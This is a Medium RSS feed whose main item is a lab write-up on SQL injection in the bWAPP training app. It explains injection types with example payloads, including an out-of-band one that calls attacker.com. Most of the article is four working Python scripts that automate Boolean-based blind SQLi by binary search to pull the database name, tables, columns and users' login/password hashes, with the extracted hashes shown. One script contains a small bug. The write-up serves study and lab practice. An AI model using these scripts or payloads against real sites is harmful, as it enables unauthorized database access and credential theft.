<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by AyhaN on Medium]]></title>
        <description><![CDATA[Stories by AyhaN on Medium]]></description>
        <link>https://medium.com/@ayhanahmetli55?source=rss-348be553e0ab------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*erky6l1vO1W2lld_Fs76UQ.jpeg</url>
            <title>Stories by AyhaN on Medium</title>
            <link>https://medium.com/@ayhanahmetli55?source=rss-348be553e0ab------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 16:07:14 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ayhanahmetli55/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Understanding SQL Injection: Boolean-based Blind SQLi]]></title>
            <link>https://medium.com/@ayhanahmetli55/understanding-sql-injection-a-deep-dive-into-boolean-based-blind-sqli-16184a169364?source=rss-348be553e0ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/16184a169364</guid>
            <dc:creator><![CDATA[AyhaN]]></dc:creator>
            <pubDate>Wed, 05 Feb 2025 16:32:46 GMT</pubDate>
            <atom:updated>2025-02-05T16:34:03.410Z</atom:updated>
            <content:encoded><![CDATA[<h4>In this article, we will explore what SQLi is, its purpose, risks, and types, with a focus on the Boolean-based Blind SQLi method. Additionally, I will demonstrate how I identified and exploited this vulnerability in the bWAPP lab, explaining the step-by-step process and showcasing the Python scripts I wrote to automate the attack.</h4><p>SQL Injection (SQLi) is one of the most common and dangerous attacks that can compromise web applications and their databases. In this article, we will explore what SQLi is, its purpose, risks, and types, with a focus on the Boolean-based Blind SQLi method. Furthermore, I will share a practical example from my work in a lab environment using the bWAPP platform, where I performed SQLi testing and wrote Python scripts to exploit the vulnerabilities.</p><blockquote>What is SQL Injection (SQLi)?</blockquote><p>SQL Injection is a type of attack that allows attackers to manipulate SQL queries made by a web application, enabling them to access or modify sensitive data. This occurs when user input is not properly sanitized, and malicious SQL statements are executed.</p><blockquote>Purpose and Risks of SQLi</blockquote><p>The main goal of SQL Injection attacks is to gain unauthorized access to a database, where sensitive information such as usernames, passwords, credit card details, and more, may be exposed. SQLi can also allow attackers to modify, delete, or insert data into the database, potentially affecting the integrity and availability of the application.</p><blockquote>Types of SQLi</blockquote><p>SQL Injection (SQLi) can be classified into several categories, depending on the attack method and how the attacker interacts with the application:</p><h4>1. Union-Based SQL Injection</h4><p>Union-Based SQL Injection leverages the UNION SQL operator to combine the results of multiple SELECT statements. This technique allows attackers to retrieve additional data from the database if they can determine the correct number of columns in the original query.</p><p><strong>How It Works:</strong></p><ul><li>The attacker appends a UNION SELECT statement to an existing query.</li><li>If successful, the response will include data from another table, such as usernames and passwords.</li></ul><p><strong>Example Payload:</strong></p><p>‘ UNION SELECT 1, username, password FROM users #</p><p>If the application returns a list of usernames and passwords, the attack is successful.</p><p><strong>Prevention:</strong></p><ul><li>Use <strong>prepared statements</strong> to prevent SQL injection.</li><li>Validate user inputs to restrict SQL keywords like UNION.</li></ul><h4>2. Error-Based SQL Injection</h4><p>Error-Based SQLi exploits the database’s error messages to extract valuable information. By forcing an SQL error, attackers can gain insights into database structure, such as table and column names.</p><p><strong>How It Works:</strong></p><ul><li>The attacker manipulates the query to trigger an error.</li><li>The database response may reveal information useful for further exploitation.</li></ul><p><strong>Example Payload:</strong></p><p>‘ ORDER BY 100 #</p><p>If the column count is lower than 100, the database returns an error indicating the exact number of available columns.</p><p><strong>Prevention:</strong></p><ul><li>Disable <strong>detailed error messages</strong> in production environments.</li><li>Implement <strong>custom error handling</strong> to avoid leaking database details.</li></ul><h4>3. Out-of-Band SQL Injection</h4><p>Out-of-Band SQLi occurs when the attacker cannot retrieve results through the same communication channel but instead forces the database to send data via an external server, such as an HTTP or DNS request. This method is useful when <strong>error messages and UNION queries are blocked</strong>.</p><p><strong>How It Works:</strong></p><ul><li>The attacker injects a payload that forces the database to make an external request.</li><li>The response (e.g., an HTTP request containing database output) is captured on an attacker-controlled server.</li></ul><p><strong>Example Payload (Using MSSQL &amp; xp_dirtree):</strong></p><p>‘; EXEC xp_dirtree ‘\\attacker.com\folder’#</p><p>This forces the database to make an outbound connection to attacker.com.</p><p><strong>Prevention:</strong></p><ul><li>Block <strong>outbound connections</strong> from the database server.</li><li>Restrict <strong>dangerous functions</strong> like xp_cmdshell and LOAD_FILE().</li></ul><h4>4. Blind SQL Injection</h4><p>Blind SQLi occurs when the application does not return error messages or query results directly. Instead, attackers infer database information by observing changes in <strong>behavior</strong> or <strong>response time</strong>.</p><p><strong>Types of Blind SQL Injection:</strong></p><ul><li><strong>Boolean-Based:</strong> The attacker injects a condition that evaluates to TRUE or FALSE and checks for differences in the application’s response.</li><li><strong>Time-Based:</strong> The attacker uses SLEEP() functions to introduce delays and determine whether the injection was successful.</li></ul><p><strong>Example Payload (Boolean-Based):</strong></p><p>‘ AND 1=1 #(Page loads normally) <br>‘ AND 1=2# (Page behaves differently)</p><p><strong>Example Payload (Time-Based):</strong></p><p>‘ AND IF(1=1, SLEEP(5), 0) #</p><p>If the response is delayed by 5 seconds, it confirms that the query executed successfully.</p><p><strong>Prevention:</strong></p><ul><li>Implement <strong>input validation</strong> and block SQL keywords.</li><li>Use <strong>parameterized queries</strong> to prevent injection.</li></ul><h3>Deep Dive into Boolean-based Blind SQLi</h3><blockquote><strong>How Boolean-based Blind SQLi Works</strong></blockquote><p>In Boolean-based Blind SQLi, the attacker uses a condition that always evaluates to either <strong>TRUE</strong> or <strong>FALSE</strong>. By observing how the application responds to different conditions, the attacker can infer sensitive information, such as the structure of the database or the values stored within it.</p><blockquote>Example of a Boolean-based Blind SQLi Payload</blockquote><p>Consider a URL parameter like this:</p><p><a href="http://example.com/index.php?id=1">http://example.com/index.php?id=1</a></p><p>A typical SQL query might look like this:</p><p>SELECT * FROM products WHERE id = 1;</p><p>An attacker could modify the id parameter with a payload like:</p><p>‘ AND 1=1 —</p><p>This payload will always evaluate to TRUE, and the attacker can observe if the page loads as expected.</p><p>Alternatively, by using a condition that evaluates to FALSE, such as:</p><p>‘ AND 1=2 —</p><p>The attacker can see if the page behaves differently, indicating that the condition was false.</p><blockquote>Purpose of Boolean-based Blind SQLi</blockquote><p>The purpose of this attack is to gather information about the database without directly revealing any data. By repeatedly sending different payloads and analyzing the server’s response (or lack of response), attackers can slowly extract information about the database schema, table names, and even data values.</p><h3>My Work on Boolean-based SQLi Using bWAPP</h3><blockquote>bWAPP Lab and Testing</blockquote><p>In my recent lab on the bWAPP platform, I focused on testing Boolean-based Blind SQLi. I used different SQL payloads to manipulate the database and gain insights into its structure.</p><p>First i did a simple search.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fXZDVQ-3t9NBJmWKuU9APg.png" /><figcaption>I just typed iron man in the search and the result was Exists.</figcaption></figure><p>Then I typed the payload ‘and 1=1#’ after iron man to check if SQLi was correct. And this was the result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xxuZTtJ982P8sbbVluT1Bg.png" /><figcaption>The screen says ‘this movie exists’, so this site is sensitive to SQLi.</figcaption></figure><p>Now if we look at the false key, our payload will look like this<br>iron man’ and 1=2#. And the result will be…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jVpQ83516vezI4OXcCK1eA.png" /><figcaption>This means that if the condition we give during Blind SQLi is correct, “exists” is displayed on the screen, if it is wrong, “does not exist” is displayed, we will use this to get the data we need.</figcaption></figure><p>During SQL Injection, the most important elements for us are the name of the database, its tables, the columns of those tables, and finally the data in those columns. Therefore, we start the SQLi attack by first finding the name of the database. To find the name of the database, we use the following payload:<br><strong><em>iron man ‘ and select database() #</em></strong><br>However, there is a problem with this payload. When written like this, we only see the message “This movie exists” on the screen and we cannot get any data. Therefore, we change the payload as follows:<br><strong><em>iron man ‘ and (select substring(database(),1,1))=’a’#</em></strong><br>The substring() function you see in this payload is for selecting a certain part of the value we want. In this case, we compare the first letter of the database name with “a”. However, this method is not optimal, because if the first letter of the database is “A”, the comparison will not be considered correct. Therefore, using the ASCII table, we find the ASCII value of the first letter and compare it with the number:<br><strong><em>iron man ‘ and (select ascii(substring(database(),1,1)))=32 #</em></strong><br>With this payload, we get the ASCII value of the first letter and compare it with a specific number. However, this method is not optimal either, because approximately 90 comparison operations are performed for each letter. This leads to both a waste of time and 90 separate requests being sent. This is exactly where binary search helps us.<br>What is Binary Search?</p><p>Binary search is a search method and let’s explain it using the example of finding a number. Let’s say the number we are looking for is 17. First, we choose lower and upper limits for ourselves:</p><p>Lower limit: 1<br>Upper limit: 50</p><p>Now let’s start comparing:</p><p>We find the average: (1 + 50) / 2 = 25<br>Since 17 &lt; 25, our number is between 1 and 25.<br>That is, the new lower limit is 1, and the upper limit is 25.</p><p>We calculate the new average: (1 + 25) / 2 = 13<br>17 &lt; 13 is incorrect.<br>In this case, the lower limit is 13, and the upper limit remains as it was (25).</p><p>We calculate the average again: (13 + 25) / 2 = 19<br>17 &lt; 19 is correct.<br>In this case, the new upper limit is 19, and the lower limit remains as it was (13).</p><p>We find the mean again: (13 + 19) / 2 = 16<br>17 &lt; 16 is incorrect.<br>In this case, the lower limit is 16, and the upper limit is 19.</p><p>We find the mean again: (16 + 19) / 2 = 17<br>17 &lt; 17 is incorrect.<br>The lower limit is 17, and the upper limit remains the same, 19.</p><p>We find the mean again: (17 + 19) / 2 = 18<br>17 &lt; 18 is correct.<br>The lower limit is 17, and the upper limit is 18.</p><p>We find the mean again: (17 + 18) / 2 = 17<br>17 &lt; 17 is incorrect.<br>Now both our lower limit and our mean are 17. So, the number we are looking for is 17.</p><p>This method allows us to get the result with about 30 queries instead of 450 queries for each letter. However, writing these 30 queries manually is time-consuming. Therefore, I wrote a Python script to automate this process and get the data faster and more conveniently.</p><pre>import requests<br>import sys<br><br>def binarySearch(URL, index):<br>    low, high = 32, 126  <br>    <br>    while low &lt; high:<br>        mid = (low + high + 1) // 2  <br>        <br>        url = URL + f&quot;?title=iron+man&#39;+and+(select+ascii(substring(database(),{index},1))&lt;{mid})%23&quot;<br>        <br>        response = requests.get(url=url, headers={&quot;Cookie&quot;: &quot;security_level=0; PHPSESSID=2sbb6aovqsmuutdvocon9kekj0&quot;})<br>        <br>        if &quot;exists&quot; in response.text:  <br>            high = mid - 1<br>        else:<br>            low = mid  <br>    return chr(low) <br><br><br>def extractData(URL, length):<br>    db_name = &quot;&quot;<br>    for index in range(1, length + 1):<br>        char = binarySearch(URL, index)<br>        db_name += char<br>        print(f&quot;Found so far: {db_name}&quot;) <br>    print(f&quot;Database Name: {db_name}&quot;)<br><br>def findLength(URL):<br>    low, high = 1, 100  <br>    <br>    while low &lt; high:<br>        mid = (low + high + 1) // 2  <br>        <br>        url = URL + f&quot;?title=iron+man&#39;+and+(select+length(database())&lt;{mid})%23&quot;<br>        <br>        response = requests.get(url=url, headers={&quot;Cookie&quot;: &quot;security_level=0; PHPSESSID=2sbb6aovqsmuutdvocon9kekj0&quot;})<br>        <br>        if &quot;exists&quot; in response.text: <br>            high = mid - 1<br>        else:<br>            low = mid  <br><br>    return low  <br><br><br>def identifySQLi(URL):<br>    url = URL + &quot;?title=Iron+man&#39;+AND+1=1%23&quot;<br>    response = requests.get(url=url, headers={&quot;Cookie&quot;: &quot;security_level=0; PHPSESSID=2sbb6aovqsmuutdvocon9kekj0&quot;})<br>    <br>    return &quot;exists&quot; in response.text <br><br><br>def main():<br>    URL = &quot;http://localhost:8080/sqli_4.php&quot;<br>    <br>    if identifySQLi(URL):<br>        print(&quot;SQLi detected, trying to exploit....&quot;)<br>        length = findLength(URL)<br>        print(f&quot;Found database name length: {length}&quot;)<br>        extractData(URL, length)<br>    else:<br>        print(&quot;SQLi not detected, exiting....&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    try:<br>        main()<br>    except KeyboardInterrupt:<br>        sys.exit(1)</pre><p>This is the first code I wrote, the purpose of the code is to find the name of the database and then print its name to the screen.The detailed explanation of the code is below.</p><pre>def binarySearch(URL, index):<br>    low, high = 32, 126  <br>    <br>    while low &lt; high:<br>        mid = (low + high + 1) // 2  <br>        <br>        url = URL + f&quot;?title=iron+man&#39;+and+(select+ascii(substring(database(),{index},1))&lt;{mid})%23&quot;<br>        <br>        response = requests.get(url=url, headers={&quot;Cookie&quot;: &quot;security_level=0; PHPSESSID=2sbb6aovqsmuutdvocon9kekj0&quot;})<br>        <br>        if &quot;exists&quot; in response.text:  <br>            high = mid - 1<br>        else:<br>            low = mid  <br>    return chr(low)</pre><p>This code uses binary search to find the ASCII characters of the database name and then identifies the characters that match those ASCII values.</p><p>Let’s explain the main parts of the code:<br><strong> 1. Setting the limits for binary search</strong><br>low, high = 32, 126<br>Here, the variables low and high define the ASCII range.</p><p>32 is the value of the space character in the ASCII table.</p><p>126 is the last printable character in the ASCII table (~).</p><p>This range includes letters (a-z, A-Z), numbers (0–9), and other characters (!@#$%^&amp;*()).<br><strong>2. Binary Search cycle</strong><br>while low &lt; high:<br>mid = (low + high + 1) // 2<br>Binary search works iteratively and calculates the average value (mid) at each step by dividing the ASCII range in half.<br>(low + high + 1) // 2 finds the average value (mid).</p><p><strong>3. Creating a payload for SQL Injection</strong><br>url = URL + f”?title=iron+man’+and+(select+ascii(substring(database(),{index},1))&lt;{mid})%23&quot;<br>This is a SQL Injection payload and is dynamically added to the URL.</p><p>substring(database(), {index}, 1) — selects the {index}-th character of the database name.<br>ascii(…) — returns the ASCII value of that character.<br>&lt;{mid} — checks if the ASCII value is less than mid.<br>%23 — is the URL encoded # (comment) character, which turns the rest of the SQL into a comment.</p><p><strong>4. Sending an HTTP request</strong><br>response = requests.get(url=url, headers={“Cookie”: “security_level=0; PHPSESSID=2sbb6aovqsmuutdvocon9kekj0”})<br>This code sends an HTTP GET request to the URL and receives a response from the server.<br>In the headers section, PHPSESSID and security_level variables are sent via cookie.</p><p>Note: PHPSESSID value changes for each session. Therefore, it is necessary to get a new value when the code runs.<br><strong>5. Parsing the response and continuing Binary Search</strong><br>if “exists” in response.text:<br>high = mid — 1<br>else:<br>low = mid<br>If “exists” is in the server’s response → then the ASCII value is less than mid → i.e. high = mid — 1 is set.<br>Otherwise → the ASCII value is mid or greater → low = mid is updated.</p><p>This process continues until the ASCII value is found.<br><strong>6. Returning the found character</strong><br>return chr(low)<br>chr(low) — converts the found ASCII value to a character and returns it.</p><p>We can find all the characters of the database name by calling this function with different index values.</p><p><strong><em>How does the code work?</em></strong></p><p>First, low = 32, high = 126 are set.<br>The ASCII value is found using binary search.<br>The range is reduced depending on the server’s response.<br>Finally, the character is returned with chr(low).<br>The process is repeated for all indexes and the database name is obtained in full.</p><pre>def extractData(URL, length):<br>    db_name = &quot;&quot;<br>    for index in range(1, length + 1):<br>        char = binarySearch(URL, index)<br>        db_name += char<br>        print(f&quot;Found so far: {db_name}&quot;) <br>    print(f&quot;Database Name: {db_name}&quot;)</pre><p><strong>db_name </strong>is a string created to store the name of the database we need, each letter will be added here as it is found<br><strong>for index in range(1, length + 1):</strong><br>The main purpose of the code is to start a cycle until the length of the database and add the corresponding ASCII character of each number found to <strong>db_name</strong>. The length, which is the length of the database, will be found in the other part of the code.</p><pre>def findLength(URL):<br>    low, high = 1, 100  <br>    <br>    while low &lt; high:<br>        mid = (low + high + 1) // 2  <br>        <br>        url = URL + f&quot;?title=iron+man&#39;+and+(select+length(database())&lt;{mid})%23&quot;<br>        <br>        response = requests.get(url=url, headers={&quot;Cookie&quot;: &quot;security_level=0; PHPSESSID=2sbb6aovqsmuutdvocon9kekj0&quot;})<br>        <br>        if &quot;exists&quot; in response.text: <br>            high = mid - 1<br>        else:<br>            low = mid  <br><br>    return low</pre><p>This is the code where we find the length of our database. The logic is the same as the binarysearch function, the only difference is the lower and upper limits and the payload. Our payload here is:</p><p><strong>iron man ‘ and (select length(database())</strong></p><p>By comparing the response of this payload, we find the length of the database using the binary search method.</p><pre>def identifySQLi(URL):<br>    url = URL + &quot;?title=Iron+man&#39;+AND+1=1%23&quot;<br>    response = requests.get(url=url, headers={&quot;Cookie&quot;: &quot;security_level=0; PHPSESSID=2sbb6aovqsmuutdvocon9kekj0&quot;})<br>    <br>    return &quot;exists&quot; in response.text</pre><p>This is the part of our code that identifies SQLi, so if the simple payload I wrote checks if it contains any SQLi. İf the response returns “exists”, then SQLi exists.</p><pre>def main():<br>    URL = &quot;http://localhost:8080/sqli_4.php&quot;<br>    <br>    if identifySQLi(URL):<br>        print(&quot;SQLi detected, trying to exploit....&quot;)<br>        length = findLength(URL)<br>        print(f&quot;Found database name length: {length}&quot;)<br>        extractData(URL, length)<br>    else:<br>        print(&quot;SQLi not detected, exiting....&quot;)</pre><p>This is the last part of our code, the commands here are very important, here we see the address of the site that is sensitive to SQLi and the if block. The purpose of the if block is that if <strong>(def identifySQLi(URL): )</strong>works correctly, that is, if it returns True, our code will run thanks to this main() function and one by one all the functions will run and find the name of the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*udVrMtkGqg7x4H2-8fk2ng.png" /><figcaption>This is result of my script.</figcaption></figure><p>Since we have found the name of the database, now we need to find the table_names in the database, the logic is still the same, the table_names will be found in the same way. I have used a similar script to find the tables, there is almost no difference in these codes. The script I used to find the tables and its answer is as follows</p><pre>import requests<br>import sys<br><br>def binarySearchTableLength(URL, table_index):<br><br>    low = 1<br>    high = 100  <br>    while low &lt; high:<br>        mid = (low + high) // 2<br>        print(f&quot;Checking length for table {table_index + 1}: {mid}&quot;)<br><br>        if mid == low or mid == high:<br>            return mid<br><br>        url = URL + f&quot;?title=iron+man+&#39;+AND+(SELECT+LENGTH(table_name)+FROM+information_schema.tables+WHERE+table_schema%3d&#39;bWAPP&#39;+LIMIT+{table_index},1)&lt;{mid}%23&quot;<br>        response = requests.get(url=url, headers={&quot;Cookie&quot;: &quot;security_level=0; PHPSESSID=2sbb6aovqsmuutdvocon9kekj0&quot;})<br><br>        if &quot;exists&quot; in response.text:<br>            high = mid<br>        else:<br>            low = mid<br><br>def binarySearchTableName(URL, table_index, length):<br>    table_name = &quot;&quot;<br>    for char_index in range(1, length + 1):<br>        low = 32  <br>        high = 126  <br><br>        while low &lt; high:<br>            mid = (low + high) // 2<br>            print(f&quot;Checking character {char_index} for table {table_index + 1}: {mid}&quot;)<br><br>            if mid == low or mid == high:<br>                table_name += chr(mid)<br>                break<br><br>            url = URL + f&quot;?title=iron+man+&#39;+AND+(SELECT+ASCII(SUBSTRING(table_name,{char_index},1))+FROM+information_schema.tables+WHERE+table_schema%3d&#39;bWAPP&#39;+LIMIT+{table_index},1)&lt;{mid}%23&quot;<br>            response = requests.get(url=url, headers={&quot;Cookie&quot;: &quot;security_level=0; PHPSESSID=2sbb6aovqsmuutdvocon9kekj0&quot;})<br><br>            if &quot;exists&quot; in response.text:<br>                high = mid<br>            else:<br>                low = mid<br><br>        print(f&quot;Table {table_index + 1} name so far: {table_name}&quot;)<br><br>    return table_name<br><br>def countTables(URL):<br>    low = 1<br>    high = 100  <br>    while low &lt; high:<br>        mid = (low + high) // 2<br>        print(f&quot;Checking table count: {mid}&quot;)<br><br>        if mid == low or mid == high:<br>            return mid<br><br>        url = URL + f&quot;?title=iron+man+&#39;+AND+(SELECT+COUNT(*)+FROM+information_schema.tables+WHERE+table_schema%3d&#39;bWAPP&#39;)&lt;{mid}%23&quot;<br>        response = requests.get(url=url, headers={&quot;Cookie&quot;: &quot;security_level=0; PHPSESSID=2sbb6aovqsmuutdvocon9kekj0&quot;})<br><br>        if &quot;exists&quot; in response.text:<br>            high = mid<br>        else:<br>            low = mid<br><br>def main():<br>    URL = &quot;http://localhost:8080/sqli_4.php&quot;<br><br>    print(&quot;\nFinding table count...&quot;)<br>    table_count = countTables(URL)<br>    print(f&quot;Found {table_count} tables in bWAPP database.&quot;)<br><br>    table_names = []<br>    print(&quot;\nFinding table lengths and names...&quot;)<br>    for i in range(table_count):<br>        table_length = binarySearchTableLength(URL, i) <br>        print(f&quot;Table {i + 1} length: {table_length}&quot;)<br><br>        table_name = binarySearchTableName(URL, i, table_length) <br>        print(f&quot;Table {i + 1} name: {table_name}&quot;)<br><br>        table_names.append(table_name)<br><br>    print(&quot;\nTable Names:&quot;)<br>    for name in table_names:<br>        print(name)<br><br>if __name__ == &quot;__main__&quot;:<br>    try:<br>        main()<br>    except KeyboardInterrupt:<br>        sys.exit(1)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u1A52grC-fVU-kwkIkg1GQ.png" /><figcaption>There are results</figcaption></figure><p>Now it’s time for the column names. When we search for column names, the table we need will be users because our goal is to find user credentials.</p><pre>import requests<br>import sys<br><br>def binarySearchColumnLength(URL, column_index):<br>    low = 1<br>    high = 100  <br>    while low &lt; high:<br>        mid = (low + high) // 2<br>        print(f&quot;Checking length for column {column_index + 1}: {mid}&quot;)<br><br>        if mid == low or mid == high:<br>            return mid<br><br>        url = URL + f&quot;?title=iron+man+&#39;+AND+(SELECT+LENGTH(column_name)+FROM+information_schema.columns+WHERE+table_name%3d&#39;users&#39;+LIMIT+{column_index},1)&lt;{mid}%23&quot;<br>        response = requests.get(url=url, headers={&quot;Cookie&quot;: &quot;security_level=0; PHPSESSID=2sbb6aovqsmuutdvocon9kekj0&quot;})<br><br>        if &quot;exists&quot; in response.text:<br>            high = mid<br>        else:<br>            low = mid<br><br>def binarySearchColumnName(URL, column_index, length):<br><br>    column_name = &quot;&quot;<br>    for char_index in range(1, length + 1):<br>        low = 32  <br>        high = 126  <br><br>        while low &lt; high:<br>            mid = (low + high) // 2<br>            print(f&quot;Checking character {char_index} for column {column_index + 1}: {mid}&quot;)<br><br>            if mid == low or mid == high:<br>                column_name += chr(mid)<br>                break<br><br>            url = URL + f&quot;?title=iron+man+&#39;+AND+(SELECT+ASCII(SUBSTRING(column_name,{char_index},1))+FROM+information_schema.columns+WHERE+table_name%3d&#39;users&#39;+LIMIT+{column_index},1)&lt;{mid}%23&quot;<br>            response = requests.get(url=url, headers={&quot;Cookie&quot;: &quot;security_level=0; PHPSESSID=2sbb6aovqsmuutdvocon9kekj0&quot;})<br><br>            if &quot;exists&quot; in response.text:<br>                high = mid<br>            else:<br>                low = mid<br><br>        print(f&quot;Column {column_index + 1} name so far: {column_name}&quot;)<br><br>    return column_name<br><br>def countColumns(URL):<br><br>    high = 100  <br>    while low &lt; high:<br>        mid = (low + high) // 2<br>        print(f&quot;Checking column count: {mid}&quot;)<br><br>        if mid == low or mid == high:<br>            return mid<br><br>        url = URL + f&quot;?title=iron+man+&#39;+AND+(SELECT+COUNT(*)+FROM+information_schema.columns+WHERE+table_name%3d&#39;users&#39;)&lt;{mid}%23&quot;<br>        response = requests.get(url=url, headers={&quot;Cookie&quot;: &quot;security_level=0; PHPSESSID=2sbb6aovqsmuutdvocon9kekj0&quot;})<br><br>        if &quot;exists&quot; in response.text:<br>            high = mid<br>        else:<br>            low = mid<br><br>def main():<br>    URL = &quot;http://localhost:8080/sqli_4.php&quot;<br><br>    print(&quot;\nFinding column count for &#39;users&#39; table...&quot;)<br>    column_count = countColumns(URL)<br>    print(f&quot;Found {column_count} columns in &#39;users&#39; table.&quot;)<br><br>    column_names = []<br>    <br>    print(&quot;\nFinding column lengths and names...&quot;)<br>    for i in range(column_count):<br>        column_length = binarySearchColumnLength(URL, i) <br>        print(f&quot;Column {i + 1} length: {column_length}&quot;)<br><br>        column_name = binarySearchColumnName(URL, i, column_length) <br>        print(f&quot;Column {i + 1} name: {column_name}&quot;)<br><br>        column_names.append(column_name)<br><br>    print(&quot;\nColumn Names in &#39;users&#39; table:&quot;)<br>    for name in column_names:<br>        print(name)<br><br>if __name__ == &quot;__main__&quot;:<br>    try:<br>        main()<br>    except KeyboardInterrupt:<br>        sys.exit(1)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h0x7CpxvF266WD2qocVsmQ.png" /><figcaption>There are results</figcaption></figure><p>We found the name in the columns and here there are 2 columns that catch our eye, they are login and password. Now let’s concatenate these 2 columns with our new script and find the username and password or its hash.</p><pre>import requests<br>import sys<br><br>def binarySearch(URL, index, user_index):<br>    low = 32<br>    high = 126<br>    while low &lt; high:<br>        mid = (low + high) // 2<br>        print(f&quot;Checking character for user {user_index + 1}, position {index}: {mid}&quot;)<br><br>        if mid == low or mid == high:<br>            return chr(mid)<br>        url = URL + f&quot;?title=iron+man+&#39;+and+(select+ascii(substring(concat(login,&#39;--&#39;,password),{index},1))from+users+LIMIT+{user_index},1)&lt;{mid}%23&quot;<br>        response = requests.get(url=url, headers={&quot;Cookie&quot;: &quot;security_level=0; PHPSESSID=2sbb6aovqsmuutdvocon9kekj0&quot;})<br>        <br>        if &quot;exists&quot; in response.text:<br>            high = mid<br>        else:<br>            low = mid<br><br>def extractData(URL, length, user_count):<br><br>    all_users = []<br>    for user_index in range(user_count):<br>        loginPassword = &quot;&quot;<br>        for index in range(1, length + 1):<br>            loginPassword += binarySearch(URL, index, user_index)<br>            print(f&quot;User {user_index + 1} login/password so far: {loginPassword}&quot;)<br>        print(f&quot;User {user_index + 1} login/password: {loginPassword}&quot;)<br>        all_users.append(loginPassword)<br><br>    print(&quot;\nAll users:&quot;)<br>    for user in all_users:<br><br>        print(user)<br><br>def findLength(URL):<br>    low = 1<br>    high = 200<br>    while low &lt; high:<br>        mid = (low + high) // 2<br>        print(f&quot;Checking length: {mid}&quot;)<br><br>        if mid == low or mid == high:<br>            return mid<br>        <br>        url = URL + f&quot;?title=iron+man+&#39;+and+(select+length(concat(login,&#39;--&#39;,password))from+users+LIMIT+0,1)&lt;{mid}%23&quot;<br>        response = requests.get(url=url, headers={&quot;Cookie&quot;: &quot;security_level=0; PHPSESSID=2sbb6aovqsmuutdvocon9kekj0&quot;})<br>        <br>        if &quot;exists&quot; in response.text:<br>            high = mid<br>        else:<br>            low = mid<br><br>def findUserCount(URL):<br>    low = 1<br>    high = 100 <br>    while low &lt; high:<br>        mid = (low + high) // 2<br>        print(f&quot;Checking user count: {mid}&quot;)<br>        <br>        if mid == low or mid == high:<br>            return mid<br>        <br>        url = URL + f&quot;?title=iron+man+&#39;+and+(select+count(*)from+users)&lt;{mid}%23&quot;<br>        response = requests.get(url=url, headers={&quot;Cookie&quot;: &quot;security_level=0; PHPSESSID=2sbb6aovqsmuutdvocon9kekj0&quot;})<br>        <br>        if &quot;exists&quot; in response.text:<br>            high = mid<br>        else:<br>            low = mid<br><br>def identifySQLi(URL):<br>    url = URL + &quot;?title=Iron+man&#39;+AND+1%3d1+%23&quot;<br>    response = requests.get(url=url, headers={&quot;Cookie&quot;: &quot;security_level=0; PHPSESSID=2sbb6aovqsmuutdvocon9kekj0&quot;})<br>    if &quot;exists&quot; in response.text: <br>        return True<br>    else:<br>        return False<br><br>def main():<br>    URL = &quot;http://localhost:8080/sqli_4.php&quot;<br>    <br>    if identifySQLi(URL):<br>        print(&quot;SQLi detected, trying to exploit....&quot;)<br>        length = findLength(URL)<br>        print(&quot;Found length: {}&quot;.format(length))<br>        <br>        user_count = findUserCount(URL) <br>        print(f&quot;Found {user_count} users.&quot;)<br>        <br>        extractData(URL, length, user_count) <br>    else:<br>        print(&quot;SQLi not detected, exiting....&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    try:<br>        main()<br>    except KeyboardInterrupt:<br>        sys.exit(1)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nJkTgPUBmkFnNPsgAdb9kQ.png" /><figcaption>There are results</figcaption></figure><p>Finally we find 2 users<br>A.I.M. — 6885858486f31043e5839c735d99457f045affd0<br>bee — 6885858486f31043e5839c735d99457f045affd0</p><p><strong>These were the scripts I wrote for the Boolean-Based SQLi lab. I hope my scripts and their explanation are understandable. In addition to Boolean-Based SQLi, there is also a Time-Based SQLi lab. If you want to write a script for this method, the main change will be only in the if conditions. In Time-Based SQLi, the SLEEP() function is used to check the correctness of True and False values. Then, we use Python’s time library to measure the server response time and calculate how many seconds the request returned. If the SLEEP() function is indeed triggered, this means that the SQLi payload sent returned a True value. All other steps will be the same as in Boolean-Based SQLi. The only difference is that in Boolean-Based SQLi, we check the content of the page, while in Time-Based SQLi, we analyze the response time of the request.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6bVQAP_jC9xEDlbJucHN5w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=16184a169364" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Host Scanning və Port Scanning]]></title>
            <link>https://medium.com/@ayhanahmetli55/host-scanning-v%C9%99-port-scanning-187631e41abd?source=rss-348be553e0ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/187631e41abd</guid>
            <dc:creator><![CDATA[AyhaN]]></dc:creator>
            <pubDate>Tue, 31 Dec 2024 10:18:49 GMT</pubDate>
            <atom:updated>2024-12-31T13:21:23.198Z</atom:updated>
